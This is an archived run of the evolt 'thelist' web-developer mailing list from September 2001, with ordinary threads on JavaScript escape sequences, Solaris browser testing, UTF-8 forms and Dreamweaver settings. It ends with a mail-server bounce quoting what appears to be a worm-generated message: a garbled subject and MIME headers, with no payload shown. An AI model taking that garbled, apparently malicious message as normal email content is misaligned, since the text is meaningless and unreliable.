Message-ID: hi guys, What would be the best approach to add sound to a web page? Do I add a wav file or would i add the sound to a flash movie of small dimensions, and make it inconspicuous? Thanx in advance, Jasen James Web Application Developer Computer & Business Services #2 Bourbon Street, Castries Tel: (758) 453-7159 Fax: (758) 451-6946 Pgr: (758) 481-4430 Email: jasen at cbizz.net http://www.cbizz.net DCM - Dynamic Content Management From jeff at members.evolt.org Mon Sep 17 20:58:59 2001 From: jeff at members.evolt.org (.jeff) Date: Mon Sep 17 20:58:59 2001 Subject: [fwd] [thelist] Replacing Carriage returns in Javascript In-Reply-To: <001064850011291BUNSON@bunson.webservepro.com> Message-ID: dave, ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > From: Dave Dufour > > I have an application in which I need to replace > carriage returns/line feeds with a little-used > character that can be converted back by another > script. ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< what, per chance, is the need to convert carriage returns and line feeds? ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > I know about the string.replace() function, [...] ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< is this publicly accessible? what level of browser are you looking to support? what are you planning on doing to make sure it doesn't throw errors on browsers that don't support the replace() method? ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > [...] but I have no idea how to refer to carriage > returns and line feeds. In VBScript there is CHR(10) > and CHR(13). What is the equivalent in Javascript? ><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< \n good luck, .jeff http://evolt.org/ jeff at members.evolt.org http://members.evolt.org/jeff/ From dave at du4.com Mon Sep 17 21:04:44 2001 From: dave at du4.com (Dave Dufour) Date: Mon Sep 17 21:04:44 2001 Subject: [fwd] [thelist] Replacing Carriage returns in Javascript In-Reply-To: Message-ID: <003401c13fe6$476e1830$25ca8dd0@translog6bfhxr> This is a remote scripting application that will only be viewed in IE 5.5, so I'm not worried about other browsers. No, it's not publicly accessible. I'm passing values via javascript to an Active Server Pages remote script and if there are any carriage returns in the text being passed, the ASP function receiving it bombs. No problem if the carriage returns are removed. So, I figured a simple replace would solve the problem, but I cannot find the appropriate code to specify a carriage return in the string.replace function. >-----Original Message----- >From: thelist-admin at lists.evolt.org >[mailto:thelist-admin at lists.evolt.org]On Behalf Of .jeff >Sent: Monday, September 17, 2001 8:59 PM >To: thelist at lists.evolt.org >Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript > > >dave, > >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< >> From: Dave Dufour >> >> I have an application in which I need to replace >> carriage returns/line feeds with a little-used >> character that can be converted back by another >> script. >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > >what, per chance, is the need to convert carriage returns and >line feeds? > >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< >> I know about the string.replace() function, [...] >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > >is this publicly accessible? > >what level of browser are you looking to support? > >what are you planning on doing to make sure it doesn't throw errors on >browsers that don't support the replace() method? > >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< >> [...] but I have no idea how to refer to carriage >> returns and line feeds. In VBScript there is CHR(10) >> and CHR(13). What is the equivalent in Javascript? >><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< > >\n > >good luck, > >.jeff > >http://evolt.org/ >jeff at members.evolt.org >http://members.evolt.org/jeff/ > > > >--------------------------------------- >For unsubscribe and other options, including >the Tip Harvester and archive of TheList go to: >http://lists.evolt.org Workers of the Web, evolt ! > From nick at infinitevoid.com Mon Sep 17 21:05:11 2001 From: nick at infinitevoid.com (Nick Bourgeois) Date: Mon Sep 17 21:05:11 2001 Subject: [thelist] Adding Sound References: Message-ID: <024f01c13fe6$5ebbf9d0$0653fa18@cc71118b> > What would be the best approach to add sound to a web page? Quick and dirty answer: don't add sound to a Web page. If you for some reason _need_ the have sound on a Web page, make sure there is some way for the user to turn it off. Therefore, don't just embed wav or midi files. Nick Bourgeois nick at infinitevoid.com From sales at iibiz.com Mon Sep 17 23:19:03 2001 From: sales at iibiz.com (iibiz) Date: Mon Sep 17 23:19:03 2001 Subject: [thelist] html email stats References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> <3BA5EA09.6010706@heerssen.com> Message-ID: <012701c13fdf$57284b80$68adb3c7@iibiz> > May I suggest a well written text email with links? > > HTH, > Bruce > Bruce, Any hints on how to get a decently formatted text file out of a cgi script? Been being a pain in my butt all week. Doesn't acknowledge line breaks or anything. Tried /n from someone's suggestion on this list to no avail........... Sandy From ashcraft at 13monkeys.com Tue Sep 18 00:58:15 2001 From: ashcraft at 13monkeys.com (Jeremy Ashcraft) Date: Tue Sep 18 00:58:15 2001 Subject: [thelist] web development for Solaris In-Reply-To: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com> References: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com> Message-ID: <01091800002100.05958@localhost.localdomain> Solaris is pretty much the standard Unix. The standard browser on Solaris is more than likely Netscape 4.x. Other browsers you may want to take into consideration Mozilla/Netscape6, Opera, and Konqueror, although Opera/Konqueror may not be very highly used. There is also a version of IE for Solaris, but i've never seen it. If you can get your hands on a Solaris machine and install all those browsers, you should be OK. jeremy On Monday 17 September 2001 13:04, you wrote: > Hey Folks, > > For the current site I'm developing, there is a strict requirement that all > pages work correctly on Solaris (Sun) platform browsers. > > While I consider myself something of an expert on Mac/PC and > Netscape/IE/Opera issues, I have almost zero experience with Sun. > > Can you good people alert me to some of the common pitfalls, things to be > aware of, or resources/places to learn the same? I'd like to educate myself > in advance, with the hopes of alleviating a painful QA process. From andrew at thepander.co.nz Tue Sep 18 02:00:31 2001 From: andrew at thepander.co.nz (Andrew Forsberg) Date: Tue Sep 18 02:00:31 2001 Subject: [thelist] web development for Solaris In-Reply-To: <01091800002100.05958@localhost.localdomain> References: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com> <01091800002100.05958@localhost.localdomain> Message-ID: Just wanted to add a few extra points: 1. If you can't get your hands on a Sparc workstation, then check the hardware compatibility list for Solaris on Intel, and download the ('free') binaries, from: http://www.sun.com/software/solaris/binaries/get.html For a basic workstation install you only need the first real installer cd ('Software 1 of 2' -- approx. 300MB). If you have an old PII around somewhere, with fairly standard hardware, then you're probably in luck. 2. 16 bit colour is not well supported. You can't use it with Sun's X server. You can run 16 bit with XFree86's drivers, and XIG's drivers, but some apps just won't run in 16 bit (e.g. Forte for Java 3). So, IMO, testing for colour in 8 bit and 24 bit configurations is probably sufficient. 3. IE for Sun is only available for the Sparc architecture, so you will need to get a Sparc station to test IE. At a guess I'd say it would have the smallest install base of any browser in existence. Honestly, how many Sun Sparc users would go out of their way to install a MS browser? Especially since it's *really* hard to even find the installers on microsoft.com. 4. There is a companion software CD for Solaris that includes the kde, gnome, and afterstep desktops. If you want to test with konqueror, then downloading this CD would be the least path of resistance (ie, it'll work, and there are shell scripts installed in /opt/sfw/kde/ that will add the desktop to the login session drop down menu for you). HTH Andrew >Solaris is pretty much the standard Unix. The standard browser on Solaris is >more than likely Netscape 4.x. Other browsers you may want to take into >consideration Mozilla/Netscape6, Opera, and Konqueror, although >Opera/Konqueror may not be very highly used. There is also a version of IE >for Solaris, but i've never seen it. If you can get your hands on a Solaris >machine and install all those browsers, you should be OK. > >jeremy > >On Monday 17 September 2001 13:04, you wrote: >> Hey Folks, >> >> For the current site I'm developing, there is a strict requirement that all >> pages work correctly on Solaris (Sun) platform browsers. >> >> While I consider myself something of an expert on Mac/PC and >> Netscape/IE/Opera issues, I have almost zero experience with Sun. >> >> Can you good people alert me to some of the common pitfalls, things to be >> aware of, or resources/places to learn the same? I'd like to educate myself > > in advance, with the hopes of alleviating a painful QA process. -- Andrew Forsberg --- the pander - http://thepander.co.nz/ uberNET - http://uber.net.nz/ From john.best at simplytrading.com Tue Sep 18 03:21:55 2001 From: john.best at simplytrading.com (John Best) Date: Tue Sep 18 03:21:55 2001 Subject: [thelist] User cant see page In-Reply-To: Message-ID: Hi all. I just got into work to be informed that a person using a netscape browser (Not aware exactly what flavour) could not see our newly popped up site. http://www.simplytrading.com It is supposed to be a flash site that redirects to our normal site if there is no plugin. I am not familiar with this work and none of my browsers are coming up with a blank page. (NS4.?, NS6, IE5.5 all on PC) I would be most grateful if people could check and report if they get a blank page. Thanks very much John Best -------------------------------------------------------- The contents of this e-mail are confidential to the ordinary user of the e-mail address to which it was addressed, or in the case of an incorrectly addressed e-mail message, the intended recipient. No-one else may copy, use, disseminate or forward all or any part of it in any form. Although this email, including any attachments, is believed to be free of any virus, or other defect which might affect any computer or IT system into which it is received and opened, it is the responsibility of the recipient to ensure that it is virus free, and no responsibility is accepted for any loss or damage arising in any way from its use. The views expressed in this e-mail are those of the sender and not necessarily the employees company. If you receive this e-mail in error please accept our apology. If this is the case we would be obliged if you would contact the sender and then delete the e-mail. -------------------------------------------------------- From kristina at kfx-design.co.uk Tue Sep 18 03:41:23 2001 From: kristina at kfx-design.co.uk (kristina) Date: Tue Sep 18 03:41:23 2001 Subject: [thelist] User cant see page In-Reply-To: References: Message-ID: <236072932.20010918094130@kfx-design.co.uk> John, ? ? ? ? ? ? ? ? ? ? : http://www.simplytrading.com : It is supposed to be a flash site that redirects to our normal site if there : is no plugin. ? ? ? ? ? ? ? ? ? ? IE5.5/W2k - i get a flash site N4.7/W2k - I get a HTML site - yet i have the Flash 5.0 r41 plugin!!! Moz 0.8/W2k - i get HTML site Opera 5.02/W2k - i get HTML site -- hth kristina kristina at kfx-design.co.uk "When written in Chinese, the word 'crisis' is composed of two characters. One represents danger, and the other represents opportunity." -- John F. Kennedy From steve.cook at evitbe.com Tue Sep 18 03:47:00 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Tue Sep 18 03:47:00 2001 Subject: [thelist] User cant see page Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS> Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you anything they are using Netscape on a Mac - it seems to be way more *sensitive* than on the PC. ------------------------------------------ Steve Cook web strategist Evitbe AB 031-15 16 17 031-890 365 0703-13 26 31 steve.cook at evitbe.com www.evitbe.com ------------------------------------------ > -----Original Message----- > From: John Best [mailto:john.best at simplytrading.com] > Sent: den 18 september 2001 10:22 > To: thelist at lists.evolt.org > Subject: [thelist] User cant see page > > > Hi all. > > I would be most grateful if people could check and report if > they get a > blank page. > > Thanks very much > > John Best > > From scot at vquill.com Tue Sep 18 03:53:04 2001 From: scot at vquill.com (Scot) Date: Tue Sep 18 03:53:04 2001 Subject: [thelist] User cant see page In-Reply-To: References: Message-ID: Mac OS X IE 5.1.1 (plug-in), Get to a blank screen that says "Please Wait" in the title bar, and that's it. NS 4.7.6 (plug-in), HTML interface. Mozilla 0.9.2 (no plug-in), Get to a blank screen that says "Please Wait" in the title bar, and that's it. NS 6.1 (plug-in), HTML interface. Both IE and Mozilla have HTML source available when requesting to view source. Hope That Helps Scot >Hi all. > >I just got into work to be informed that a person using a netscape browser >(Not aware exactly what flavour) could not see our newly popped up site. >http://www.simplytrading.com >It is supposed to be a flash site that redirects to our normal site if there >is no plugin. > >I am not familiar with this work and none of my browsers are coming up with >a blank page. (NS4.?, NS6, IE5.5 all on PC) > >I would be most grateful if people could check and report if they get a >blank page. > >Thanks very much > >John Best > -- From arw_gatch at yahoo.com Tue Sep 18 04:05:22 2001 From: arw_gatch at yahoo.com (=?iso-8859-1?q?Andrew=20Williams?=) Date: Tue Sep 18 04:05:22 2001 Subject: [thelist] User cant see page In-Reply-To: Message-ID: <20010918090524.38531.qmail@web10405.mail.yahoo.com> John, I'm using IE5.01, without Flash. I do eventually get the portal.asp page, but it was a long time coming (30-40 secs)- my (browser) screen was blank for this time and the status bar said 'Done'. The cursor was still hour-glassing and the title bar said 'Please wait'. Perhaps the user was confused into thinking nothing else was going to happen and just gave up? (Incidentally, I'd have given up even though I could tell something was still going on). Try and find out more about their browser/os combination. Also, what speed of connection do they have? Is there a firewall involved? Regards, Andrew ===== Andrew Williams GATCh ____________________________________________________________ Do You Yahoo!? Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk or your free @yahoo.ie address at http://mail.yahoo.ie From andrew.chadwick at prnewswire.co.uk Tue Sep 18 04:35:22 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Tue Sep 18 04:35:22 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com> References: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com> Message-ID: <20010918103511.A30672@oit.net> On Mon, Sep 17, 2001 at 02:17:45PM -0500, Green, Janet wrote: [1 and 2 have already been answered] > 3. What are unicode and UTF-8, and how do I know what I am using? I've never > made a conscious decision on this. > > Please post answers in "for dummies" lingo. Thanks. Unicode is the name of a huge international character set - essentially a really big alphabet with letters, numbers and symbols drawn from just about every human language in the world. You need a lot of characters for that, so Unicode gives you 2,147,483,648 possibilities (wow). UTF-8 is just one of the ways you can encode[1] a Unicode document, and it's what XML (and HTML) documents use by default. If your document is mainly written in English and/or other Europaen languages, and you're not fussed about accent symbols don't worry about UTF-8. UTF-8 is compatible with the characters you can see on a US keyboard (except the Euro symbol, if you have one there). If your documents are written in a non-Roman alphabet like Greek, Hebrew, Cyrillic, or Korean[2], or you mix them in with English or other languages, then you probably want to consider UTF-8 as an encoding (especially if you're mixing scripts together). You can learn far, far more theory than you or I will ever need to know at , and there's a slightly more user- friendly FAQ at . They're both geared towards Unix machines and crazy Linux commies like me, but they're useful from a non-denominational perspective too. [1] Save to disk in a way the computer can understand next time you load it in. [2] Not really an alphabet but, um, never mind :) -- Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford -- The views or opinions above are solely mine and are not necessarily those of PR Newswire Europe. The message may contain privileged or confidential information; if you are not a named recipient, notify me, and do not copy, use, or disclose this message. . From andrew.chadwick at prnewswire.co.uk Tue Sep 18 05:33:15 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Tue Sep 18 05:33:15 2001 Subject: [thelist] tip: Persuading browsers to send UTF-8 Message-ID: <20010918113305.A30873@oit.net> My last post was too long, so here's a tip to try and make up for it. If your CGI application would like its form input in UTF-8 (because that's what needs to go in the database, say), there are one or two things you can do to make your life easier: * Make sure the document you're serving up is served as UTF-8 by the web server. In Perl, that's "print $cgi->header(-charset=>"utf-8");", or Content-Type: text/html; charset=utf-8 For you NPH guys or people who like hacking Apache config files. This persuades most modern browsers to send back UTF-8. * Say '
' for your form open tag. Now every HTML4+-compliant browser should send back UTF-8. The above is good, but old browsers are still going to send their native character set (and not tell you about it in any reliable or even vaguely portable way). You'll need a more devious technique based on looking at hidden form fields. Decide what the incoming data is encoded as, and then use a module like Unicode::MapUTF8 to remap it to UTF-8. -- Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford -- The views or opinions above are solely mine and are not necessarily those of PR Newswire Europe. The message may contain privileged or confidential information; if you are not a named recipient, notify me, and do not copy, use, or disclose this message. . From jhaworth at witanjardine.co.uk Tue Sep 18 05:56:00 2001 From: jhaworth at witanjardine.co.uk (Jon Haworth) Date: Tue Sep 18 05:56:00 2001 Subject: [thelist] html email stats Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FD74@BOOTROS> You can try \r\n instead or just \n, or use those marker type things that I can't remember what they're called :-) IIRC they look something like this in Perl: print<<"ENDPRINT"; Here is some text. It will appear just like this when it's printed, line breaks and all. Including the blank line just above this one, I think. ENDPRINT HTH Jon -----Original Message----- From: iibiz [mailto:sales at iibiz.com] Sent: 18 September 2001 02:15 To: thelist at lists.evolt.org Subject: Re: [thelist] html email stats Any hints on how to get a decently formatted text file out of a cgi script? Been being a pain in my butt all week. Doesn't acknowledge line breaks or anything. Tried /n from someone's suggestion on this list to no avail........... Sandy ********************************************************************** 'The information included in this Email is of a confidential nature and is intended only for the addressee. If you are not the intended addressee, any disclosure, copying or distribution by you is prohibited and may be unlawful. Disclosure to any party other than the addressee, whether inadvertent or otherwise is not intended to waive privilege or confidentiality' ********************************************************************** From Matt at grndwtr.com Tue Sep 18 07:17:46 2001 From: Matt at grndwtr.com (Matthias Ritzkowski) Date: Tue Sep 18 07:17:46 2001 Subject: [fwd] [thelist] Replacing Carriage returns in Javascript Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0C@mail1> Dave according to my magic book here, these are the escape sequences and their associated characters for JavaScript: \b Backspace \f Form feed \n New line \r Carriage return \t Tab \' Single Quote \" Double Quote \\ Backslash Actually I am going to print this and hang it up as I only had the VBscript equivalents here so far ... Thanks for asking! Matthias -----Original Message----- From: Dave Dufour [mailto:dave at du4.com] Sent: Monday, September 17, 2001 22:05 To: thelist at lists.evolt.org Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript This is a remote scripting application that will only be viewed in IE 5.5, so I'm not worried about other browsers. No, it's not publicly accessible. I'm passing values via javascript to an Active Server Pages remote script and if there are any carriage returns in the text being passed, the ASP function receiving it bombs. No problem if the carriage returns are removed. So, I figured a simple replace would solve the problem, but I cannot find the appropriate code to specify a carriage return in the string.replace function.. From frodo_tx at yahoo.com Tue Sep 18 08:02:21 2001 From: frodo_tx at yahoo.com (Chuck Sumpter) Date: Tue Sep 18 08:02:21 2001 Subject: [thelist] OT One of History's Lessons Message-ID: <20010918130223.6329.qmail@web14808.mail.yahoo.com> This will be my only "contribution" to the terrorist attack message traffic. --------------------------------------------------------------------------- A friend sent me an excerpt from an address to the... Pearl Harbor Survivors Association By Vice Admiral E. P. Aurand, U.S. Navy,(Ret.) National Memorial Cemetery of the Pacific December 7, 1986 A couple of lines from the address struck a resonant chord in me and I've included then in the image that is displayed at the link below. http://www.chuck.sumpter.com For those of you who actually like pop-ups (like me ) here is the simple script. Regards, Chuck Sumpter __________________________________________________ Terrorist Attacks on U.S. - How can you help? Donate cash, emergency relief information http://dailynews.yahoo.com/fc/US/Emergency_Information/ From Julia_Frizzell at brown.edu Tue Sep 18 08:56:14 2001 From: Julia_Frizzell at brown.edu (Julia Frizzell) Date: Tue Sep 18 08:56:14 2001 Subject: [thelist] Dreamweaver Dependent files Message-ID: I'm on a Mac, using Dreamweaver 4.01. At one point, silly me, I checked that box in the Site Map that said "Don't ask" when uploading dependent files. And of course, I had previously checked "Yes." So now, each time I change a small thing on a page, it checks to upload all the dependent pages/graphics/what-have-you, when I would rather it not. I cannot, for the life of me, figure out how to change that setting. I've looked all over. As a last resort, I am planning on creating a new site and deleting the old, but I was hoping someone here might be able to help me with this. So ... can anyone help? :) -- ------------------------------- Julia Frizzell julia_frizzell at brown.edu glyneth at sfad.org http://www.sfad.org http://www.theblackroad.org "Insert pithy quote here." From mspiegler at lightbulbpress.com Tue Sep 18 09:01:24 2001 From: mspiegler at lightbulbpress.com (Matt) Date: Tue Sep 18 09:01:24 2001 Subject: [thelist] Dreamweaver Dependent files References: Message-ID: <3BA753C4.A10DE834@lightbulbpress.com> I'm in UltraDev 4, I think it's the same as regular DW, and in UD, under Preferences-Sites, there's a checkbox for "Dependant Files: Prompt on Get/Check Out". I think that should do it. Matt Julia Frizzell wrote: > I'm on a Mac, using Dreamweaver 4.01. > > At one point, silly me, I checked that box in the Site Map that said > "Don't ask" when uploading dependent files. And of course, I had > previously checked "Yes." > > So now, each time I change a small thing on a page, it checks to > upload all the dependent pages/graphics/what-have-you, when I would > rather it not. > > I cannot, for the life of me, figure out how to change that setting. > I've looked all over. As a last resort, I am planning on creating a > new site and deleting the old, but I was hoping someone here might be > able to help me with this. > > So ... can anyone help? :) > -- > ------------------------------- > Julia Frizzell > julia_frizzell at brown.edu > glyneth at sfad.org > http://www.sfad.org > http://www.theblackroad.org > "Insert pithy quote here." > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! From mspiegler at lightbulbpress.com Tue Sep 18 09:04:10 2001 From: mspiegler at lightbulbpress.com (Matt) Date: Tue Sep 18 09:04:10 2001 Subject: [thelist] Dreamweaver Dependent files References: <3BA753C4.A10DE834@lightbulbpress.com> Message-ID: <3BA75468.3DB10D4@lightbulbpress.com> Sorry, that should be "Prompt on Put/Check In" :) Matt wrote: > I'm in UltraDev 4, I think it's the same as regular DW, and in UD, under > Preferences-Sites, there's a checkbox for "Dependant Files: Prompt on > Get/Check Out". I think that should do it. > > Matt > > Julia Frizzell wrote: > > > I'm on a Mac, using Dreamweaver 4.01. > > > > At one point, silly me, I checked that box in the Site Map that said > > "Don't ask" when uploading dependent files. And of course, I had > > previously checked "Yes." > > > > So now, each time I change a small thing on a page, it checks to > > upload all the dependent pages/graphics/what-have-you, when I would > > rather it not. > > > > I cannot, for the life of me, figure out how to change that setting. > > I've looked all over. As a last resort, I am planning on creating a > > new site and deleting the old, but I was hoping someone here might be > > able to help me with this. > > > > So ... can anyone help? :) > > -- > > ------------------------------- > > Julia Frizzell > > julia_frizzell at brown.edu > > glyneth at sfad.org > > http://www.sfad.org > > http://www.theblackroad.org > > "Insert pithy quote here." > > > > --------------------------------------- > > For unsubscribe and other options, including > > the Tip Harvester and archive of TheList go to: > > http://lists.evolt.org Workers of the Web, evolt ! > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! From pf at pfhyper.com Tue Sep 18 09:35:21 2001 From: pf at pfhyper.com (Peter Fleck) Date: Tue Sep 18 09:35:21 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <20010918020841.AB32E5211F@relay.evolt.org> References: <20010918020841.AB32E5211F@relay.evolt.org> Message-ID: > >but i'm curious -- what did you have in mind when you said > >"and oh so much more"? > >Welp, ultimately, I was saving my butt. I don't know every single >difference between Transitional and Strict, but I know that *one* >difference was the pure and exact separation of design and content. The "oh >so much more" was to make sure that no one would say "but hey! that's not >all! Strict also does..." ... But hey! Strict also requires that inline tags -- like and -- and plain text be nested within block-level elements. IOW, "No naked text." -- Peter Fleck University of Minnesota Cancer Center fleck004 at umn.edu www.cancer.umn.edu From dave at du4.com Tue Sep 18 09:36:51 2001 From: dave at du4.com (Dave Dufour) Date: Tue Sep 18 09:36:51 2001 Subject: [fwd] [thelist] Replacing Carriage returns in Javascript In-Reply-To: <8179FA78B6D0D111AA53006097B0128007AF0C@mail1> Message-ID: <000201c1404f$0c46dfd0$11ca8dd0@translog6bfhxr> Matthias, Thanks. I've found a good solution using the escape sequences and REPLACE -- this is it from a Google Groups page: >>>>>>>>>>>>>>>>>>>> With js1.2 use String.replace() e.g. "line 1\nline2\nline3\n".replace(/\n/g, "") Depending on what you regard as a carriage return (\r or \n or \r\n) adapt the regular expression "line 1\nline2\nline3\n".replace(/\r|\n|\r\n/g, "") >>>>>>>>>>>>>>>>>>>> O'Reilly's provided some of this reference, but their examples were more complex than I needed, so it was still a little confusing and it was hard to locate the escape sequences you've provided here. I'll hang on to this list too. Thanks for providing it. Dave >-----Original Message----- >From: thelist-admin at lists.evolt.org >[mailto:thelist-admin at lists.evolt.org]On Behalf Of Matthias Ritzkowski >Sent: Tuesday, September 18, 2001 7:17 AM >To: 'thelist at lists.evolt.org' >Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript > > >Dave > >according to my magic book here, these are the escape >sequences and their >associated characters for JavaScript: > >\b Backspace >\f Form feed >\n New line >\r Carriage return >\t Tab >\' Single Quote >\" Double Quote >\\ Backslash > >Actually I am going to print this and hang it up as I only had >the VBscript >equivalents here so far ... >Thanks for asking! > >Matthias > > > > >-----Original Message----- >From: Dave Dufour [mailto:dave at du4.com] >Sent: Monday, September 17, 2001 22:05 >To: thelist at lists.evolt.org >Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript > > >This is a remote scripting application that will only be >viewed in IE 5.5, >so I'm not worried about other browsers. No, it's not >publicly accessible. >I'm passing values via javascript to an Active Server Pages >remote script >and if there are any carriage returns in the text being passed, the ASP >function receiving it bombs. No problem if the carriage returns are >removed. So, I figured a simple replace would solve the problem, but I >cannot find the appropriate code to specify a carriage return in the >string.replace function.. > >--------------------------------------- >For unsubscribe and other options, including >the Tip Harvester and archive of TheList go to: >http://lists.evolt.org Workers of the Web, evolt ! > From webdad at tampabay.rr.com Tue Sep 18 09:56:21 2001 From: webdad at tampabay.rr.com (Bob Boisvert) Date: Tue Sep 18 09:56:21 2001 Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4 Message-ID: <000201c14052$ebfcbe30$0200a8c0@BOISNET2> Good Day Everyone, I'm really just starting out using Ultradev 4 and Fireworks and haven't had much experience with them with exception of a lot of practicing. Can anyone throw some links at me of sites that were made with just these 2 applications. I really just trying to get an idea of the capabilities of both. The books that came with the suite aren't to clear on advanced techniques. feel free to email privately. Thanks, Bob --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.280 / Virus Database: 147 - Release Date: 9/11/01 From mspiegler at lightbulbpress.com Tue Sep 18 10:07:28 2001 From: mspiegler at lightbulbpress.com (Matt) Date: Tue Sep 18 10:07:28 2001 Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4 References: <000201c14052$ebfcbe30$0200a8c0@BOISNET2> Message-ID: <3BA7633F.14A5715@lightbulbpress.com> You can check out the Macromedia Showcase of Dreamweaver sites for some examples: http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver While you're there, download some free extensions. That's one of the best ways to expand the capabilities of Dreamweaver and will give you expanded DHTML functionality, which are somewhat limited in the base install of Dreamweaver: http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver Matt Bob Boisvert wrote: > Good Day Everyone, > > I'm really just starting out using Ultradev 4 and Fireworks and haven't had > much experience with them with exception of a lot of practicing. Can anyone > throw some links at me of sites that were made with just these 2 > applications. I really just trying to get an idea of the capabilities of > both. The books that came with the suite aren't to clear on advanced > techniques. > > feel free to email privately. > > Thanks, > Bob > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.280 / Virus Database: 147 - Release Date: 9/11/01 > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! From MAILER-DAEMON at welly-4.star.net.uk Tue Sep 18 10:09:06 2001 From: MAILER-DAEMON at welly-4.star.net.uk (MAILER-DAEMON at welly-4.star.net.uk) Date: Tue Sep 18 10:09:06 2001 Subject: [thelist] failure notice Message-ID: <200109181509.f8IF8vVW009938@leo.evolt.org> Hi. This is the qmail-send program at welly-4.star.net.uk. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. <200001211831.saa25942 at nag.co.uk>: 62.231.145.242 does not like recipient. Remote host said: 550 <200001211831.saa25942 at nag.co.uk>... User unknown Giving up on 62.231.145.242. --- Below this line is a copy of the message. Return-Path: Received: (qmail 16684 invoked from network); 18 Sep 2001 15:08:21 -0000 Received: from 1.star-private-mail-12.star.net.uk (HELO smtp-in-1.star.net.uk) (10.200.12.1) by 204.star-private-mail-4.star.net.uk with SMTP; 18 Sep 2001 15:08:21 -0000 Received: (qmail 12634 invoked from network); 18 Sep 2001 15:08:06 -0000 Received: from mail17.messagelabs.com (62.231.131.67) by smtp-in-1.star.net.uk with SMTP; 18 Sep 2001 15:08:06 -0000 X-VirusChecked: Checked Received: (qmail 8892 invoked from network); 18 Sep 2001 15:05:44 -0000 Received: from unknown (HELO FTHGTEIXEIR) (64.133.24.16) by server-13.tower-17.messagelabs.com with SMTP; 18 Sep 2001 15:05:44 -0000 From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenu MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
_____________________________________________________________________
This message has been checked for all known viruses by Star Internet
delivered through the MessageLabs Virus Scanning Service. For further
information visit http://www.star.net.uk/stats.asp or alternatively call
Star Internet for details on the Virus Scanning Service.
